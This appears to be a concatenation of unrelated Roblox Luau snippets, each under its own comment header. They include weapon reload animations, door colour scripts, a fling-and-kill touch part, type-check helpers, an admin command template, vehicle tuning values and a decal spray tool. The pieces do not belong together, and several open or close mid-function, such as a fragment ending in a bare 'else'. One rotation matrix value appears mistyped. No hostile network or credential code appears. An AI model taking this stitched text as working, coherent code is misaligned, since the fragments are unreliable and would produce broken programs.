ts:Create(objs[3],TweenInfo.new(0.5),{C1 = CFrame.new(0.306991339, 0.173449978, -2.47386241, 0.596156955, -0.666716337, 0.447309881, -0.79129082, -0.393649101, 0.4678666, -0.135851175, -0.632874191, -0.762243152)}):Play() wait(0.4) local MagC = objs[4]:clone() MagC:FindFirstChild("Mag"):Destroy() MagC.Parent = Tool MagC.Name = "MagC" local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[4].CFrame) objs[4].Transparency = 1 objs[6]:WaitForChild("MagOut"):Play() ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(-0.0507154427, -0.345223904, -3.19228816, 0.625797808, -0.752114773, 0.206640378, -0.779792726, -0.609173417, 0.144329756, 0.0173272491, -0.2514579, -0.967713058)}):Play() ts:Create(objs[2],TweenInfo.new(0.13),{C1 = CFrame.new(-1.13045335, -0.385085344, -1.63183177, 0.996194661, -0.0871555507, -3.8096899e-09, -0.0435778052, -0.498097777, 0.866025209, -0.0754788965, -0.862729728, -0.500000358)}):Play() wait(0.05) ts:Create(objs[2],TweenInfo.new(0.4),{C1 = CFrame.new(-1.13045335, -0.385085344, -1.60160995, 0.996194661, -0.0871555507, -3.8096899e-09, -0.0435778052, -0.498097777, 0.866025209, -0.0754788965, -0.862729728, -0.500000358)}):Play() ts:Create(objs[3],TweenInfo.new(0.5),{C1 = CFrame.new(-0.0507154427, -0.345223933, -3.1922884, 0.625797808, -0.752114773, 0.206640378, 0.0507019535, 0.303593874, 0.95145148, -0.778335571, -0.584939361, 0.2281221)}):Play() wait(0.50) objs[6]:WaitForChild("MagFall"):Play() wait(0.10) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-1.23319471, 0.238857567, -2.20046425, 0.360941499, -0.928539753, -0.0868042335, -0.476528496, -0.263641387, 0.838697612, -0.801649332, -0.261356145, -0.53763473)}):Play() wait(0.07) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.0507154427, -0.345223904, -3.19228816, 0.625797808, -0.752114773, 0.206640378, -0.779792726, -0.609173417, 0.144329756, 0.0173272491, -0.2514579, -0.967713058)}):Play() wait(0.07) objs[6]:WaitForChild('MagIn'):Play() ts:Create(objs[3],TweenInfo.new(0.2),{C1 = CFrame.new(0.306991339, 0.173449978, -2.47386241, 0.596156955, -0.666716337, 0.447309881, -0.79129082, -0.393649101, 0.4678666, -0.135851175, -0.632874191, -0.762243152)}):Play() wait(0.04) ts:Create(objs[2],TweenInfo.new(0.13),{C1 = CFrame.new(-1.13045335, -0.385085344, -1.51256108, 0.996194661, -0.0871555507, -3.8096899e-09, -0.0435778052, -0.498097777, 0.866025209, -0.0754788965, -0.862729728, -0.500000358)}):Play() ts:Create(objs[3],TweenInfo.new(0.13),{C1 = CFrame.new(0.306991339, 0.173449978, -2.37906742, 0.596156955, -0.666716337, 0.447309881, -0.79129082, -0.393649101, 0.4678666, -0.135851175, -0.632874191, -0.762243152)}):Play() wait(0.10) MagC:Destroy() objs[4].Transparency = 0 TweenJoint(objs[3], nil , CFrame.new(1.06851184, 0.973718464, -2.29667926, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.10) ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(-0.0507154427, -0.345223904, -3.19228816, 0.625797808, -0.752114773, 0.206640378, -0.779792726, -0.609173417, 0.144329756, 0.0173272491, -0.2514579, -0.967713058)}):Play() ts:Create(objs[2],TweenInfo.new(0.13),{C1 = CFrame.new(-1.13045335, -0.385085344, -1.63183177, 0.996194661, -0.0871555507, -3.8096899e-09, -0.0435778052, -0.498097777, 0.866025209, -0.0754788965, -0.862729728, -0.500000358)}):Play() wait(0.1) ts:Create(objs[2],TweenInfo.new(0.4),{C1 = CFrame.new(-1.13045335, -0.385085344, -1.60160995, 0.996194661, -0.0871555507, -3.8096899e-09, -0.0435778052, -0.498097777, 0.866025209, -0.0754788965, -0.862729728, -0.500000358)}):Play() ts:Create(objs[3],TweenInfo.new(0.5),{C1 = CFrame.new(-0.0507154427, -0.345223933, -3.1922884, 0.625797808, -0.752114773, 0.206640378, 0.0507019535, 0.303593874, 0.95145148, -0.778335571, -0.584939361, 0.2281221)}):Play() wait(0.1) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-1.23319471, 0.238857567, -2.20046425, 0.360941499, -0.928539753, -0.0868042335, -0.476528496, -0.263641387, 0.838697612, -0.801649332, -0.261356145, -0.53763473)}):Play() wait(0.07) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.0507154427, -0.345223904, -3.19228816, 0.625797808, -0.752114773, 0.206640378, -0.779792726, -0.609173417, 0.144329756, 0.0173272491, -0.2514579, -0.967713058)}):Play() wait(0.07) objs[6]:WaitForChild('MagHit'):Play() ts:Create(objs[3],TweenInfo.new(0.2),{C1 = CFrame.new(0.306991339, 0.173449978, -2.47386241, 0.596156955, -0.666716337, 0.447309881, -0.79129082, -0.393649101, 0.4678666, -0.135851175, -0.632874191, -0.762243152)}):Play() wait(0.04) ts:Create(objs[2],TweenInfo.new(0.13),{C1 = CFrame.new(-1.13045335, -0.385085344, -1.51256108, 0.996194661, -0.0871555507, -3.8096899e-09, -0.0435778052, -0.498097777, 0.866025209, -0.0754788965, -0.862729728, -0.500000358)}):Play() ts:Create(objs[3],TweenInfo.new(0.13),{C1 = CFrame.new(0.306991339, 0.173449978, -2.37906742, 0.596156955, -0.666716337, 0.447309881, -0.79129082, -0.393649101, 0.4678666, -0.135851175, -0.632874191, -0.762243152)}):Play() wait(0.10) end; -- Bolt Anim BoltBackAnim = function(char, speed, objs) TweenJoint(objs[2], nil , CFrame.new(-0.574199283, -0.679443169, -1.24877262, 0.098731339, -0.973386228, -0.206811741, -0.90958333, -0.172570169, 0.377991527, -0.403621316, 0.150792867, -0.902414143), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.3) objs[5]:WaitForChild("BoltForward"):Play() TweenJoint(objs[2], nil , CFrame.new(-0.574199283, 0, -0.74877262, 0.098731339, -0.9873386228, -0.206811741, -0.90958333, -0.172570169, 0.377991527, -0.403621316, 0.150792867, -0.902414143), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1) wait(0.2) end; BoltForwardAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1) wait(0.1) end; -- Bolting Back BoltingBackAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.473770154, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.001) end; BoltingForwardAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.001) end; InspectAnim = function(char, speed, objs) ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.999723792, 0.0109803826, 0.0207702816, -0.0223077796, 0.721017241, 0.692557871, -0.00737112388, -0.692829967, 0.721063137)}):Play() ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-1.49363565, -0.699174881, -1.32277012, 0.66716975, -8.8829113e-09, -0.74490571, 0.651565909, -0.484672248, 0.5835706, -0.361035138, -0.874695837, -0.323358655)}):Play() wait(1) ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(1.37424219, -0.699174881, -1.03685927, -0.204235911, 0.62879771, 0.750267386, 0.65156585, -0.484672219, 0.58357054, 0.730581641, 0.60803473, -0.310715646)}):Play() wait(1) ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play() wait(1) local MagC = Tool:WaitForChild("Mag"):clone() MagC:FindFirstChild("Mag"):Destroy() MagC.Parent = Tool MagC.Name = "MagC" local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(Tool:WaitForChild('Mag').CFrame) Tool.Mag.Transparency = 1 Tool:WaitForChild('Grip'):WaitForChild("MagOut"):Play() ts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.55972552, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play() wait(0.13) ts:Create(objs[2],TweenInfo.new(0.20),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.28149843, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() wait(0.20) ts:Create(objs[1],TweenInfo.new(0.5),{C1 = CFrame.new(0.447846293, -0.650498748, -1.82401526, 0.761665463, -0.514432132, 0.393986136, -0.646156013, -0.55753684, 0.521185875, -0.0484529883, -0.651545882, -0.75706023)}):Play() wait(0.8) ts:Create(objs[1],TweenInfo.new(0.6),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play() wait(0.5) Tool:WaitForChild('Grip'):WaitForChild("MagIn"):Play() ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play() wait(0.3) MagC:Destroy() Tool.Mag.Transparency = 0 wait(0.1) end; nadeReload = function(char, speed, objs) ts:Create(objs[1], TweenInfo.new(0.6), {C1 = CFrame.new(-0.902175903, -1.15645337, -1.32277012, 0.984807789, -0.163175702, -0.0593911409, 0, -0.342020363, 0.939692557, -0.17364797, -0.925416529, -0.336824328)}):Play() ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.787567914, -0.220087856, 0.575584888, -0.323594928, 0.647189975, 0.690240026, -0.524426222, -0.72986728, 0.438486755)}):Play() wait(0.6) ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.559619546, -1.73060048, 0.802135408, -0.348581612, 0.484839559, -0.597102284, -0.477574915, 0.644508123, 0.00688350201, -0.806481719, -0.59121877)}):Play() wait(0.6) end; AttachAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(-2.05413628, -0.386312962, -0.955676377, 0.5, 0, -0.866025329, 0.852868497, -0.17364797, 0.492403895, -0.150383547, -0.984807789, -0.086823985), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[2], nil , CFrame.new(0.931334019, 1.66565645, -1.2231313, 0.787567914, -0.220087856, 0.575584888, -0.0180282295, 0.925416708, 0.378521889, -0.615963817, -0.308488399, 0.724860728), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; -- Patrol Anim PatrolAnim = function(char, speed, objs) TweenJoint(objs[1], nil , sConfig.PatrolPosR, function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[2], nil , sConfig.PatrolPosL, function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; } return Settings
--Show Avatar
script.Parent.ChildRemoved:connect(function(child) if child:IsA("Weld") then if child.Part1.Name == "HumanoidRootPart" then player = game.Players:GetPlayerFromCharacter(child.Part1.Parent) script.Parent:SetNetworkOwner(player) for i,v in pairs(child.Part1.Parent:GetChildren())do if v:IsA("Part") then v.Transparency=0 if v.Name=="HumanoidRootPart"then v.Transparency=1 v.CanCollide=true end end end end end end)
-- @Return WeaponDefinition
function WeaponRuntimeData:GetWeaponDefinition() return self.weaponDefinition end
--[=[ @class ClientRemoteProperty @client Created via `ClientComm:GetProperty()`. ]=]
local ClientRemoteProperty = {} ClientRemoteProperty.__index = ClientRemoteProperty function ClientRemoteProperty.new(re: RemoteEvent, inboundMiddleware: Types.ClientMiddleware?, outboudMiddleware: Types.ClientMiddleware?) local self = setmetatable({}, ClientRemoteProperty) self._rs = ClientRemoteSignal.new(re, inboundMiddleware, outboudMiddleware) self._ready = false self._value = nil self.Changed = Signal.new() self._readyPromise = self:OnReady():andThen(function() self._readyPromise = nil self.Changed:Fire(self._value) self._changed = self._rs:Connect(function(value) if value == self._value then return end self._value = value self.Changed:Fire(value) end) end) self._rs:Fire() return self end
--[[** ensures Roblox ColorSequenceKeypoint type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.ColorSequenceKeypoint = t.typeof("ColorSequenceKeypoint")
--[=[ Throttles emission of observables on the defer stack to the last emission. @return (source: Observable) -> Observable ]=]
function Rx.throttleDefer() return function(source) assert(Observable.isObservable(source), "Bad observable") return Observable.new(function(sub) local maid = Maid.new() local lastResult maid:GiveTask(source:Subscribe(function(...) if not lastResult then lastResult = table.pack(...) -- Queue up our result task.defer(function() local current = lastResult lastResult = nil if sub:IsPending() then sub:Fire(table.unpack(current, 1, current.n)) end end) else lastResult = table.pack(...) end end, sub:GetFailComplete())) return maid end) end end return Rx
--------END RIGHT DOOR --------
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l23.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l32.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l41.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l53.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l62.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l71.BrickColor = BrickColor.new(1003) game.Workspace.doorleft.l12.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l21.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l33.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l42.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l51.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l63.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l72.BrickColor = BrickColor.new(1003) game.Workspace.doorleft.l13.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l22.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l31.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l43.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l52.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l61.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l73.BrickColor = BrickColor.new(1003) game.Workspace.doorright.l11.BrickColor = BrickColor.new(106) game.Workspace.doorright.l23.BrickColor = BrickColor.new(106) game.Workspace.doorright.l32.BrickColor = BrickColor.new(106) game.Workspace.doorright.l41.BrickColor = BrickColor.new(106) game.Workspace.doorright.l53.BrickColor = BrickColor.new(106) game.Workspace.doorright.l62.BrickColor = BrickColor.new(106) game.Workspace.doorright.l71.BrickColor = BrickColor.new(1003) game.Workspace.doorright.l12.BrickColor = BrickColor.new(106) game.Workspace.doorright.l21.BrickColor = BrickColor.new(106) game.Workspace.doorright.l33.BrickColor = BrickColor.new(106) game.Workspace.doorright.l42.BrickColor = BrickColor.new(106) game.Workspace.doorright.l51.BrickColor = BrickColor.new(106) game.Workspace.doorright.l63.BrickColor = BrickColor.new(106) game.Workspace.doorright.l72.BrickColor = BrickColor.new(1003) game.Workspace.doorright.l13.BrickColor = BrickColor.new(106) game.Workspace.doorright.l22.BrickColor = BrickColor.new(106) game.Workspace.doorright.l31.BrickColor = BrickColor.new(106) game.Workspace.doorright.l43.BrickColor = BrickColor.new(106) game.Workspace.doorright.l52.BrickColor = BrickColor.new(106) game.Workspace.doorright.l61.BrickColor = BrickColor.new(106) game.Workspace.doorright.l73.BrickColor = BrickColor.new(1003) game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) end script.Parent.ClickDetector.MouseClick:connect(onClicked)
--[[** ensures Roblox BrickColor type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.BrickColor = primitive("BrickColor")
--Restore Default Settings
local restore = pages.custom["AX Restore"] local loading = restore.Loading local restoreDe = 0 restore.MouseButton1Down:Connect(function() if restoreDe < 2 then local h,s,v = Color3.toHSV(restore.BackgroundColor3) loading.BackgroundColor3 = Color3.fromHSV(h, s, v*0.5) loading.Visible = true if restoreDe == 0 then restoreDe = 1 loading.Blocker.Visible = false loading.TextLabel.Text = "Confirm?" wait(1) elseif restoreDe == 1 then restoreDe = 2 loading.Blocker.Visible = true loading.TextLabel.Text = "Loading..." local returnMsg = main.signals.RestoreDefaultSettings:InvokeServer() if returnMsg == "Success" then updateSettings() main:GetModule("PageCommands"):CreateCommands() local notice = main:GetModule("cf"):FormatNotice("RestoreDefaultSettings") main:GetModule("Notices"):Notice("Notice", notice[1], notice[2]) else restore.TextLabel.Text = returnMsg end wait(1) end restoreDe = 0 loading.Visible = false loading.Blocker.Visible = false end end)
--02fzx
local FlingAmount = 1000000000000000000000000000000000000000000000000000000000000000000000000 --sky local sound = false --well i mean its god hand so.. local sit = false --If it makes the player sit. local e = false --Do not change. local explode = true --This one just kills you function hit(Touch) local blender = Touch.Parent:FindFirstChild("Head") if not (blender == nil) then if e == false then e = true local bv = Instance.new("BodyVelocity") bv.P = 1250 bv.MaxForce = Vector3.new(math.huge,math.huge,math.huge) bv.Velocity = blender.CFrame.lookVector*-FlingAmount bv.Parent = blender if sit == true then Touch.Parent:FindFirstChild("Humanoid").Sit = true end if sound == true then local s = script.Parent.Yeet:Clone() local MAAAA = script.Parent.Scream:Clone() local random = math.random(8,12)/10 s.Parent = blender s.PlaybackSpeed = 1 s:Play() Touch.Parent:FindFirstChild("Humanoid").Health = 100 MAAAA.Parent = blender MAAAA:Play() MAAAA.STOP.Disabled = false end wait(.05) bv:Destroy() wait(.2) e = false wait(1) if explode == true then wait(5) Touch.Parent:FindFirstChild("Humanoid").Health = 0 end end end end script.Parent.Touched:connect(hit)
--[[** ensures value is a given literal value @param literal The literal to use @returns A function that will return true iff the condition is passed **--]]
function t.literal(literal) return function(value) if value ~= literal then return false, string.format("expected %s, got %s", tostring(literal), tostring(value)) end return true end end
-- ONLY SUPPORTS ORDINAL TABLES (ARRAYS). Removes the specified object from this array.
Table.removeObject = function (tbl, obj) local index = Table.indexOf(tbl, obj) if index then table.remove(tbl, index) end end return setmetatable({}, { __index = function(tbl, index) if Table[index] ~= nil then return Table[index] else return RobloxTable[index] end end; __newindex = function(tbl, index, value) error("Add new table entries by editing the Module itself.") end; })
-- << COMMANDS >>
local module = { ----------------------------------- { Name = ""; Aliases = {}; Prefixes = {settings.Prefix}; Rank = 1; RankLock = false; Loopable = false; Tags = {}; Description = "Free Admin"; Contributors = {}; -- Args = {}; Function = function(speaker, args) end; UnFunction = function(speaker, args) end; -- }; ----------------------------------- { Name = ""; Aliases = {}; Prefixes = {settings.Prefix}; Rank = 1; RankLock = false; Loopable = false; Tags = {}; Description = ""; Contributors = {}; -- Args = {}; --[[ ClientCommand = true; FireAllClients = true; BlockWhenPunished = true; PreFunction = function(speaker, args) end; Function = function(speaker, args) wait(1) end; --]] -- }; ----------------------------------- }; return module
--[[ A special key for property tables, which adds user-specified tasks to be run when the instance is destroyed. ]]
local Cleanup = {} Cleanup.type = "SpecialKey" Cleanup.kind = "Cleanup" Cleanup.stage = "observer" function Cleanup:apply(userTask: any, applyTo: Instance, cleanupTasks) table.insert(cleanupTasks, userTask) end return Cleanup
--[[** ensures value is a number where value < max @param max The maximum to use @returns A function that will return true iff the condition is passed **--]]
function t.numberMaxExclusive(max) return function(value) local success, errMsg = t.number(value) if not success then return false, errMsg or "" end if value < max then return true else return false, string.format("number < %s expected, got %s", max, value) end end end
--Light off
src.Headlights.SpotLight.Enabled = false src.Headlights.Material = "SmoothPlastic" light.Value = false else
------------------------------------------------------------------------------------------------------------------------------------------------
local BASE_HEIGHT = 20 --10 -- The main height factor for the terrain. local CHUNK_SCALE = 4 --3 -- The grid scale for terrain generation. Should be kept relatively low if used in real-time. local RENDER_DISTANCE = 360 / 4 --120 -- The length/width of chunks in voxels that should be around the player at all times local X_SCALE = 90 / 4 --90 -- How much we should strech the X scale of the generation noise local Z_SCALE = 90 / 4 -- How much we should strech the Z scale of the generation noise
-- TOP LEVEL GENERATION/DELETION FUNCTIONS
function TribeModule:NewTeam(tribeName) end function TribeModule:RemoveTeam(tribeName) end function TribeModule:NewTribe(tribeName) end function TribeModule:RemoveTribe(tribeName) end
--[[Engine]]
--Torque Curve Tune.Horsepower = 239 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
---
script.Parent.Values.Gear.Changed:connect(function() if script.Parent.Values.Gear.Value == -1 then for index, child in pairs(car.Body.Lights.Rev:GetChildren()) do child.Material = Enum.Material.Neon car.DriveSeat.Reverse:Play() end else for index, child in pairs(car.Body.Lights.Rev:GetChildren()) do child.Material = Enum.Material.SmoothPlastic car.DriveSeat.Reverse:Stop() end end end) while wait() do if (car.DriveSeat.Velocity.magnitude/40)+0.300 < 1.3 then car.DriveSeat.Reverse.Pitch = (car.DriveSeat.Velocity.magnitude/40)+0.300 car.DriveSeat.Reverse.Volume = (car.DriveSeat.Velocity.magnitude/150) else car.DriveSeat.Reverse.Pitch = 1.3 car.DriveSeat.Reverse.Volume = .2 end end
-- Properties
local held = false local step = 0.1 local percentage = 0 function snap(number, factor) if factor == 0 then return number else return math.floor(number/factor+0.5)*factor end end UIS.InputEnded:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.MouseButton1 then held = false end end) SliderBtn.MouseButton1Down:connect(function() held = true end) RuS.RenderStepped:connect(function(delta) if held then local MousePos = UIS:GetMouseLocation().X local BtnPos = SliderBtn.Position local SliderSize = Slider.AbsoluteSize.X local SliderPos = Slider.AbsolutePosition.X local pos = snap((MousePos-SliderPos)/SliderSize,step) percentage = math.clamp(pos,0,1) SliderBtn.Position = UDim2.new(percentage,0,BtnPos.Y.Scale, BtnPos.Y.Offset) local old = percentage wait() if old ~= percentage then game.Players.LocalPlayer.Character["Vibe Radio"].changevolume:FireServer(percentage) end end end)
--Fade tween
local fadeInfo = TweenInfo.new(Fade, Enum.EasingStyle.Sine, Enum.EasingDirection.In) local strechInfo = TweenInfo.new(Fade / 1.05, Enum.EasingStyle.Quint, Enum.EasingDirection.In) local fadeGoal = {Transparency = 1}
------[RGB_SLIDER_MOVEMENT, RGB_TEXT_CHANGED]------
for z = 1, #ColorPickers do for i = 1, #RGBSliders[z] do ----[STOP RGB SLIDER MOVEMENT]---- local function RGBSliderEnded(Input) if Input.UserInputType == Enum.UserInputType.MouseButton1 then IsDraggingSliders[i] = false end end RGBSliderHitboxes[z][i].InputEnded:Connect(RGBSliderEnded) ----[CHECK FOR RGB SLIDER MOVEMENT]---- local function CheckForRGBSliderMovement() if not IsDraggingSliders[i] then IsDraggingSliders[i] = true end while IsDraggingSliders[i] do--and UIS:IsMouseButtonPressed(Enum.UserInputType.MouseButton1) do wait() local MouseLocation = Plugin:GetRelativeMousePosition() if OldMouseLocation ~= MouseLocation then RGBSliderMovement(MouseLocation.X, z, i) OldMouseLocation = MouseLocation end end IsDraggingSliders[i] = false end RGBSliderHitboxes[z][i].MouseButton1Down:Connect(CheckForRGBSliderMovement) ----[CHECK IF RGB TEXT CHANGED]---- local function RGBTextChanged() if tonumber(RGBInputs[z][i].Text) == nil then RGBInputs[z][i]. Text = "0" elseif tonumber(RGBInputs[z][i].Text) <= 0 then RGBInputs[z][i].Text = "0" elseif tonumber(RGBInputs[z][i].Text) >= 256 then RGBInputs[z][i].Text = "255" end PreviewColor[z].BackgroundColor3 = Color3.fromRGB(tonumber(RGBInputs[z][1].Text), tonumber(RGBInputs[z][2].Text), tonumber(RGBInputs[z][3].Text)) RGBSliders[z][i].Position = UDim2.new(0, PreviewColor[z].BackgroundColor3[rgb[i]] * RGBSliderHitboxes[z][i].AbsoluteSize.X, RGBSliders[z][i].Position.Y.Scale, 0) end RGBInputs[z][i].FocusLost:Connect(RGBTextChanged) end end
--Tune--
local StockHP = 450 --Power output desmos: https://www.desmos.com/calculator/wezfve8j90 (does not come with torque curve) local TurboCount = 1 --(1 = SingleTurbo),(2 = TwinTurbo),(if bigger then it will default to 2 turbos) local TurboSize = 50 --bigger the turbo, the more lag it has (actually be realistic with it) no 20mm turbos local WasteGatePressure = 10 --Max PSI for each turbo (if twin and running 10 PSI, thats 10PSI for each turbo) local CompressionRatio = 8/1 --Compression of your car (look up the compression of the engine you are running) local AntiLag = true --if true basically keeps the turbo spooled up so less lag local BOV_Loudness = 6 --volume of the BOV (not exact volume so you kinda have to experiment with it) local BOV_Pitch = 0.8 --max pitch of the BOV (not exact so might have to mess with it) local TurboLoudness = 2.3 --volume of the Turbo (not exact volume so you kinda have to experiment with it also)
--// Events
local placeEvent = Evt.Rappel:WaitForChild('PlaceEvent') local ropeEvent = Evt.Rappel:WaitForChild('RopeEvent') local cutEvent = Evt.Rappel:WaitForChild('CutEvent')
-- TODO: retry multiple time if HTTP call fail
local function getTextureId(id: number): number? local assetInfo = MarketplaceService:GetProductInfo(id, Enum.InfoType.Asset) if assetInfo.AssetTypeId == Enum.AssetType.Image.Value then return id elseif assetInfo.AssetTypeId == Enum.AssetType.Decal.Value then return HttpService:GetAsync(`http://f3xteam.com/bt/getDecalImageID/{id}`) end return end Remote.OnServerEvent:Connect(function(plr, id: number | string, pos) if Helper.Owner ~= plr then return end local assetId = tonumber(tostring(id):match("%d+") or 0) :: number if assetId == 0 then return end local textureId = getTextureId(assetId) if not textureId then return end if textureId ~= 0 then local rayOrigin = Tool.Handle.Position local rayDestination = pos local rayDirection = rayDestination - rayOrigin if rayDirection.Magnitude >= 10 then return end local raycastParams = RaycastParams.new() raycastParams.FilterDescendantsInstances = {plr.Character} raycastParams.FilterType = Enum.RaycastFilterType.Exclude raycastParams.IgnoreWater = true local raycastResult = workspace:Raycast(rayOrigin, rayDirection*2, raycastParams) if (raycastResult) and raycastResult.Instance then if raycastResult.Instance:FindFirstAncestorWhichIsA("Model") then if raycastResult.Instance:FindFirstAncestorWhichIsA("Model"):FindFirstChildWhichIsA("Humanoid") then return end end if raycastResult.Instance:FindFirstAncestorWhichIsA("Tool") then return end local sprays = {} for _, i in ipairs(workspace.Sprays:GetChildren()) do if i:GetAttribute("User") then if i:GetAttribute("User") == plr.UserId then table.insert(sprays, i) end end end if #sprays >= 3 then if sprays[1] then sprays[1]:Destroy() end end Tool.Handle.Spray:Play() local object = game.ServerStorage.PaintedObject:Clone() object.Decal.Texture =`rbxassetid://{textureId}` object.CFrame = CFrame.lookAt(raycastResult.Position, raycastResult.Position - raycastResult.Normal) object:SetAttribute("User", plr.UserId) object.Parent = workspace.Sprays if raycastResult.Instance.Anchored == false then object.Anchored = false local c0 = raycastResult.Instance.CFrame:Inverse() local c1 = object.CFrame:Inverse() local weld = Instance.new("Weld") weld.Parent = object weld.Part0 = raycastResult.Instance weld.Part1 = object weld.C0 = c0 weld.C1 = c1 end end end end)
--[[ Function called upon entering the state ]]
function PlayerPreGameReady.onEnter(stateMachine, serverPlayer, event, from, to) local element = playerReady:Clone() local playerName = serverPlayer.player.Name element.Name = playerName element.Text = playerName element.Parent = playerStatusBoard end
--[[ CameraUtils - Math utility functions shared by multiple camera scripts 2018 Camera Update - AllYourBlox --]]
local CameraUtils = {} local function round(num) return math.floor(num + 0.5) end
-- { id = "slash.xml", weight = 10 }
}, toollunge = { { id = "http://www.roblox.com/asset/?id=129967478", weight = 10 } }, wave = { { id = "http://www.roblox.com/asset/?id=128777973", weight = 10 } }, point = { { id = "http://www.roblox.com/asset/?id=128853357", weight = 10 } }, dance = { { id = "http://www.roblox.com/asset/?id=130018893", weight = 10 }, { id = "http://www.roblox.com/asset/?id=132546839", weight = 10 }, { id = "http://www.roblox.com/asset/?id=132546884", weight = 10 } }, laugh = { { id = "http://www.roblox.com/asset/?id=129423131", weight = 10 } }, cheer = { { id = "http://www.roblox.com/asset/?id=129423030", weight = 10 } }, }
